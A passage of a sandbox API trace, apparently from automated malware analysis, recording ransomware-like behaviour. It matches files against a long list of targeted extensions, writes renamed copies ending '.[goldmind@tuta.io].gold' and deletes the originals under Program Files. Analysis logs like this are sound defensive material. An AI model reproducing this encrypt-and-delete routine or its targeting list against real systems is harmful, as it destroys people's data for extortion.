(lpString1=".zip", lpString2=".CFG") returned 1 [0116.325] lstrlenW (lpString=".rar") returned 4 [0116.325] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0116.325] lstrlenW (lpString=".bz2") returned 4 [0116.325] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0116.325] lstrlenW (lpString=".7z") returned 3 [0116.325] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0116.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQ.CFG") returned 65 [0116.325] lstrlenW (lpString=".dbf") returned 4 [0116.325] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0116.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQ.CFG") returned 65 [0116.325] lstrlenW (lpString=".1cd") returned 4 [0116.325] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0116.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQ.CFG") returned 65 [0116.325] lstrlenW (lpString=".jpg") returned 4 [0116.325] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0116.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQ.CFG") returned 65 [0116.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQ.CFG") returned 65 [0116.325] lstrlenW (lpString=".doc") returned 4 [0116.325] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0116.325] lstrlenW (lpString=".docx") returned 5 [0116.325] lstrcmpiW (lpString1=".docx", lpString2="Q.CFG") returned -1 [0116.325] lstrlenW (lpString=".pdf") returned 4 [0116.325] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0116.325] lstrlenW (lpString=".xls") returned 4 [0116.325] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0116.325] lstrlenW (lpString=".xlsx") returned 5 [0116.325] lstrcmpiW (lpString1=".xlsx", lpString2="Q.CFG") returned -1 [0116.325] lstrlenW (lpString=".ppt") returned 4 [0116.325] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0116.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQ.CFG") returned 65 [0116.325] lstrlenW (lpString=".zip") returned 4 [0116.325] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0116.325] lstrlenW (lpString=".rar") returned 4 [0116.325] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0116.325] lstrlenW (lpString=".bz2") returned 4 [0116.325] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0116.325] lstrlenW (lpString=".7z") returned 3 [0116.325] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0116.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQ.CFG") returned 65 [0116.325] lstrlenW (lpString=".dbf") returned 4 [0116.325] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0116.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQ.CFG") returned 65 [0116.325] lstrlenW (lpString=".1cd") returned 4 [0116.325] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0116.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQ.CFG") returned 65 [0116.326] lstrlenW (lpString=".jpg") returned 4 [0116.326] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0116.326] lstrcmpiW (lpString1=".ICO", lpString2=".gold") returned 1 [0116.326] lstrlenW (lpString="TASKREQL.ICO") returned 12 [0116.326] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskreql.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0116.326] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=1078) returned 1 [0116.326] CloseHandle (hObject=0x3d0) returned 1 [0116.326] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskreql.ico")) returned 0x20 [0116.327] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQL.ICO.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskreql.ico.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0116.327] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskreql.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0116.327] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0116.327] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0116.327] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQL.ICO.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskreql.ico.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0116.328] GetLastError () returned 0x0 [0116.328] ReadFile (in: hFile=0x3d0, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x436, lpOverlapped=0x0) returned 1 [0116.329] WriteFile (in: hFile=0x230, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0x440, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0x440, lpOverlapped=0x0) returned 1 [0116.330] ReadFile (in: hFile=0x3d0, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x0, lpOverlapped=0x0) returned 1 [0116.330] WriteFile (in: hFile=0x230, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0xec, lpOverlapped=0x0) returned 1 [0116.330] SetEndOfFile (hFile=0x230) returned 1 [0116.330] CloseHandle (hObject=0x230) returned 1 [0116.330] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0116.330] SetEndOfFile (hFile=0x3d0) returned 1 [0116.332] CloseHandle (hObject=0x3d0) returned 1 [0116.332] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQL.ICO.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0116.332] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskreql.ico")) returned 1 [0116.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQL.ICO") returned 66 [0116.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQL.ICO") returned 66 [0116.333] lstrlenW (lpString=".doc") returned 4 [0116.333] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0116.333] lstrlenW (lpString=".docx") returned 5 [0116.333] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0116.333] lstrlenW (lpString=".pdf") returned 4 [0116.333] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0116.333] lstrlenW (lpString=".xls") returned 4 [0116.333] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0116.333] lstrlenW (lpString=".xlsx") returned 5 [0116.333] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0116.333] lstrlenW (lpString=".ppt") returned 4 [0116.333] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0116.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQL.ICO") returned 66 [0116.333] lstrlenW (lpString=".zip") returned 4 [0116.333] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0116.333] lstrlenW (lpString=".rar") returned 4 [0116.333] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0116.333] lstrlenW (lpString=".bz2") returned 4 [0116.334] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0116.334] lstrlenW (lpString=".7z") returned 3 [0116.334] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0116.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQL.ICO") returned 66 [0116.334] lstrlenW (lpString=".dbf") returned 4 [0116.334] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0116.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQL.ICO") returned 66 [0116.334] lstrlenW (lpString=".1cd") returned 4 [0116.334] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0116.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQL.ICO") returned 66 [0116.334] lstrlenW (lpString=".jpg") returned 4 [0116.334] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0116.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQL.ICO") returned 66 [0116.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQL.ICO") returned 66 [0116.334] lstrlenW (lpString=".doc") returned 4 [0116.334] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0116.334] lstrlenW (lpString=".docx") returned 5 [0116.334] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0116.334] lstrlenW (lpString=".pdf") returned 4 [0116.334] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0116.334] lstrlenW (lpString=".xls") returned 4 [0116.334] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0116.334] lstrlenW (lpString=".xlsx") returned 5 [0116.334] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0116.334] lstrlenW (lpString=".ppt") returned 4 [0116.334] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0116.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQL.ICO") returned 66 [0116.334] lstrlenW (lpString=".zip") returned 4 [0116.334] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0116.334] lstrlenW (lpString=".rar") returned 4 [0116.334] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0116.334] lstrlenW (lpString=".bz2") returned 4 [0116.334] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0116.334] lstrlenW (lpString=".7z") returned 3 [0116.334] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0116.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQL.ICO") returned 66 [0116.334] lstrlenW (lpString=".dbf") returned 4 [0116.335] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0116.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQL.ICO") returned 66 [0116.335] lstrlenW (lpString=".1cd") returned 4 [0116.335] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0116.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQL.ICO") returned 66 [0116.335] lstrlenW (lpString=".jpg") returned 4 [0116.335] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0116.335] lstrcmpiW (lpString1=".ICO", lpString2=".gold") returned 1 [0116.335] lstrlenW (lpString="TASKREQS.ICO") returned 12 [0116.335] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskreqs.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0116.336] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=2998) returned 1 [0116.336] CloseHandle (hObject=0x3d0) returned 1 [0116.336] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskreqs.ico")) returned 0x20 [0116.336] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQS.ICO.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskreqs.ico.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0116.336] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskreqs.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0116.336] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0116.337] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0116.337] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQS.ICO.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskreqs.ico.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) Thread: id = 66 os_tid = 0x6b8 [0087.170] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x3a50db8 [0087.170] lstrlenW (lpString="C:") returned 2 [0087.170] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x365fd00 | out: lpFindFileData=0x365fd00*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1002f, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x54a998 [0087.173] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15 [0087.173] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\$Recycle.Bin") returned 1 [0087.173] lstrlenW (lpString="$Recycle.Bin") returned 12 [0087.173] lstrcmpiW (lpString1="C:\\Windows", lpString2="$Recycle.Bin") returned 1 [0087.173] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x3a60dc0 [0087.173] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15 [0087.173] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x365fa84 | out: lpFindFileData=0x365fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5df7c0 [0087.173] FindNextFileW (in: hFindFile=0x5df7c0, lpFindFileData=0x365fa84 | out: lpFindFileData=0x365fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.173] FindNextFileW (in: hFindFile=0x5df7c0, lpFindFileData=0x365fa84 | out: lpFindFileData=0x365fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xe54ff400, ftLastAccessTime.dwHighDateTime=0x1d681e0, ftLastWriteTime.dwLowDateTime=0xe54ff400, ftLastWriteTime.dwHighDateTime=0x1d681e0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0087.173] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 62 [0087.174] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 1 [0087.174] lstrlenW (lpString="S-1-5-21-3388679973-3930757225-3770151564-1000") returned 46 [0087.174] lstrcmpiW (lpString1="C:\\Windows", lpString2="S-1-5-21-3388679973-3930757225-3770151564-1000") returned -1 [0087.174] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x3a70dc8 [0087.174] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 62 [0087.174] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*", lpFindFileData=0x365f808 | out: lpFindFileData=0x365f808*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xe54ff400, ftLastAccessTime.dwHighDateTime=0x1d681e0, ftLastWriteTime.dwLowDateTime=0xe54ff400, ftLastWriteTime.dwHighDateTime=0x1d681e0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5e0808 [0087.174] FindNextFileW (in: hFindFile=0x5e0808, lpFindFileData=0x365f808 | out: lpFindFileData=0x365f808*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xe54ff400, ftLastAccessTime.dwHighDateTime=0x1d681e0, ftLastWriteTime.dwLowDateTime=0xe54ff400, ftLastWriteTime.dwHighDateTime=0x1d681e0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.174] FindNextFileW (in: hFindFile=0x5e0808, lpFindFileData=0x365f808 | out: lpFindFileData=0x365f808*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xe54ff400, ftCreationTime.dwHighDateTime=0x1d681e0, ftLastAccessTime.dwLowDateTime=0xe54ff400, ftLastAccessTime.dwHighDateTime=0x1d681e0, ftLastWriteTime.dwLowDateTime=0xe54ff400, ftLastWriteTime.dwHighDateTime=0x1d681e0, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0087.174] lstrlenW (lpString="desktop.ini") returned 11 [0087.174] lstrlenW (lpString=".1cd") returned 4 [0087.174] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0087.174] lstrlenW (lpString=".3ds") returned 4 [0087.174] lstrcmpiW (lpString1=".3ds", lpString2=".ini") returned -1 [0087.174] lstrlenW (lpString=".3fr") returned 4 [0087.174] lstrcmpiW (lpString1=".3fr", lpString2=".ini") returned -1 [0087.174] lstrlenW (lpString=".3g2") returned 4 [0087.174] lstrcmpiW (lpString1=".3g2", lpString2=".ini") returned -1 [0087.174] lstrlenW (lpString=".3gp") returned 4 [0087.174] lstrcmpiW (lpString1=".3gp", lpString2=".ini") returned -1 [0087.174] lstrlenW (lpString=".7z") returned 3 [0087.174] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0087.175] lstrlenW (lpString=".accda") returned 6 [0087.175] lstrcmpiW (lpString1=".accda", lpString2="op.ini") returned -1 [0087.175] lstrlenW (lpString=".accdb") returned 6 [0087.175] lstrcmpiW (lpString1=".accdb", lpString2="op.ini") returned -1 [0087.175] lstrlenW (lpString=".accdc") returned 6 [0087.175] lstrcmpiW (lpString1=".accdc", lpString2="op.ini") returned -1 [0087.175] lstrlenW (lpString=".accde") returned 6 [0087.175] lstrcmpiW (lpString1=".accde", lpString2="op.ini") returned -1 [0087.175] lstrlenW (lpString=".accdt") returned 6 [0087.175] lstrcmpiW (lpString1=".accdt", lpString2="op.ini") returned -1 [0087.175] lstrlenW (lpString=".accdw") returned 6 [0087.175] lstrcmpiW (lpString1=".accdw", lpString2="op.ini") returned -1 [0087.175] lstrlenW (lpString=".adb") returned 4 [0087.175] lstrcmpiW (lpString1=".adb", lpString2=".ini") returned -1 [0087.175] lstrlenW (lpString=".adp") returned 4 [0087.175] lstrcmpiW (lpString1=".adp", lpString2=".ini") returned -1 [0087.175] lstrlenW (lpString=".ai") returned 3 [0087.175] lstrcmpiW (lpString1=".ai", lpString2="ini") returned -1 [0087.175] lstrlenW (lpString=".ai3") returned 4 [0087.175] lstrcmpiW (lpString1=".ai3", lpString2=".ini") returned -1 [0087.175] lstrlenW (lpString=".ai4") returned 4 [0087.175] lstrcmpiW (lpString1=".ai4", lpString2=".ini") returned -1 [0087.175] lstrlenW (lpString=".ai5") returned 4 [0087.175] lstrcmpiW (lpString1=".ai5", lpString2=".ini") returned -1 [0087.175] lstrlenW (lpString=".ai6") returned 4 [0087.175] lstrcmpiW (lpString1=".ai6", lpString2=".ini") returned -1 [0087.175] lstrlenW (lpString=".ai7") returned 4 [0087.175] lstrcmpiW (lpString1=".ai7", lpString2=".ini") returned -1 [0087.175] lstrlenW (lpString=".ai8") returned 4 [0087.175] lstrcmpiW (lpString1=".ai8", lpString2=".ini") returned -1 [0087.175] lstrlenW (lpString=".anim") returned 5 [0087.176] lstrcmpiW (lpString1=".anim", lpString2="p.ini") returned -1 [0087.176] lstrlenW (lpString=".arw") returned 4 [0087.176] lstrcmpiW (lpString1=".arw", lpString2=".ini") returned -1 [0087.176] lstrlenW (lpString=".as") returned 3 [0087.176] lstrcmpiW (lpString1=".as", lpString2="ini") returned -1 [0087.176] lstrlenW (lpString=".asa") returned 4 [0087.176] lstrcmpiW (lpString1=".asa", lpString2=".ini") returned -1 [0087.176] lstrlenW (lpString=".asc") returned 4 [0087.176] lstrcmpiW (lpString1=".asc", lpString2=".ini") returned -1 [0087.176] lstrlenW (lpString=".ascx") returned 5 [0087.176] lstrcmpiW (lpString1=".ascx", lpString2="p.ini") returned -1 [0087.176] lstrlenW (lpString=".asm") returned 4 [0087.176] lstrcmpiW (lpString1=".asm", lpString2=".ini") returned -1 [0087.176] lstrlenW (lpString=".asmx") returned 5 [0087.176] lstrcmpiW (lpString1=".asmx", lpString2="p.ini") returned -1 [0087.176] lstrlenW (lpString=".asp") returned 4 [0087.176] lstrcmpiW (lpString1=".asp", lpString2=".ini") returned -1 [0087.176] lstrlenW (lpString=".aspx") returned 5 [0087.176] lstrcmpiW (lpString1=".aspx", lpString2="p.ini") returned -1 [0087.176] lstrlenW (lpString=".asr") returned 4 [0087.176] lstrcmpiW (lpString1=".asr", lpString2=".ini") returned -1 [0087.176] lstrlenW (lpString=".asx") returned 4 [0087.176] lstrcmpiW (lpString1=".asx", lpString2=".ini") returned -1 [0087.176] lstrlenW (lpString=".avi") returned 4 [0087.176] lstrcmpiW (lpString1=".avi", lpString2=".ini") returned -1 [0087.176] lstrlenW (lpString=".avs") returned 4 [0087.176] lstrcmpiW (lpString1=".avs", lpString2=".ini") returned -1 [0087.176] lstrlenW (lpString=".backup") returned 7 [0087.176] lstrcmpiW (lpString1=".backup", lpString2="top.ini") returned -1 [0087.176] lstrlenW (lpString=".bak") returned 4 [0087.176] lstrcmpiW (lpString1=".bak", lpString2=".ini") returned -1 [0087.177] lstrlenW (lpString=".bay") returned 4 [0087.177] lstrcmpiW (lpString1=".bay", lpString2=".ini") returned -1 [0087.177] lstrlenW (lpString=".bd") returned 3 [0087.177] lstrcmpiW (lpString1=".bd", lpString2="ini") returned -1 [0087.177] lstrlenW (lpString=".bin") returned 4 [0087.177] lstrcmpiW (lpString1=".bin", lpString2=".ini") returned -1 [0087.177] lstrlenW (lpString=".bmp") returned 4 [0087.177] lstrcmpiW (lpString1=".bmp", lpString2=".ini") returned -1 [0087.177] lstrlenW (lpString=".bz2") returned 4 [0087.177] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0087.177] lstrlenW (lpString=".c") returned 2 [0087.177] lstrcmpiW (lpString1=".c", lpString2="ni") returned -1 [0087.177] lstrlenW (lpString=".cdr") returned 4 [0087.177] lstrcmpiW (lpString1=".cdr", lpString2=".ini") returned -1 [0087.177] lstrlenW (lpString=".cer") returned 4 [0087.177] lstrcmpiW (lpString1=".cer", lpString2=".ini") returned -1 [0087.177] lstrlenW (lpString=".cf") returned 3 [0087.177] lstrcmpiW (lpString1=".cf", lpString2="ini") returned -1 [0087.177] lstrlenW (lpString=".cfc") returned 4 [0087.177] lstrcmpiW (lpString1=".cfc", lpString2=".ini") returned -1 [0087.177] lstrlenW (lpString=".cfm") returned 4 [0087.177] lstrcmpiW (lpString1=".cfm", lpString2=".ini") returned -1 [0087.177] lstrlenW (lpString=".cfml") returned 5 [0087.177] lstrcmpiW (lpString1=".cfml", lpString2="p.ini") returned -1 [0087.177] lstrlenW (lpString=".cfu") returned 4 [0087.177] lstrcmpiW (lpString1=".cfu", lpString2=".ini") returned -1 [0087.177] lstrlenW (lpString=".chm") returned 4 [0087.177] lstrcmpiW (lpString1=".chm", lpString2=".ini") returned -1 [0087.177] lstrlenW (lpString=".cin") returned 4 [0087.177] lstrcmpiW (lpString1=".cin", lpString2=".ini") returned -1 [0087.177] lstrlenW (lpString=".class") returned 6 [0087.177] lstrcmpiW (lpString1=".class", lpString2="op.ini") returned -1 [0087.177] lstrlenW (lpString=".clx") returned 4 [0087.177] lstrcmpiW (lpString1=".clx", lpString2=".ini") returned -1 [0087.177] lstrlenW (lpString=".config") returned 7 [0087.177] lstrcmpiW (lpString1=".config", lpString2="top.ini") returned -1 [0087.178] lstrlenW (lpString=".cpp") returned 4 [0087.178] lstrcmpiW (lpString1=".cpp", lpString2=".ini") returned -1 [0087.178] lstrlenW (lpString=".cr2") returned 4 [0087.178] lstrcmpiW (lpString1=".cr2", lpString2=".ini") returned -1 [0087.178] lstrlenW (lpString=".crt") returned 4 [0087.178] lstrcmpiW (lpString1=".crt", lpString2=".ini") returned -1 [0087.178] lstrlenW (lpString=".crw") returned 4 [0087.178] lstrcmpiW (lpString1=".crw", lpString2=".ini") returned -1 [0087.178] lstrlenW (lpString=".cs") returned 3 [0087.178] lstrcmpiW (lpString1=".cs", lpString2="ini") returned -1 [0087.178] lstrlenW (lpString=".css") returned 4 [0087.178] 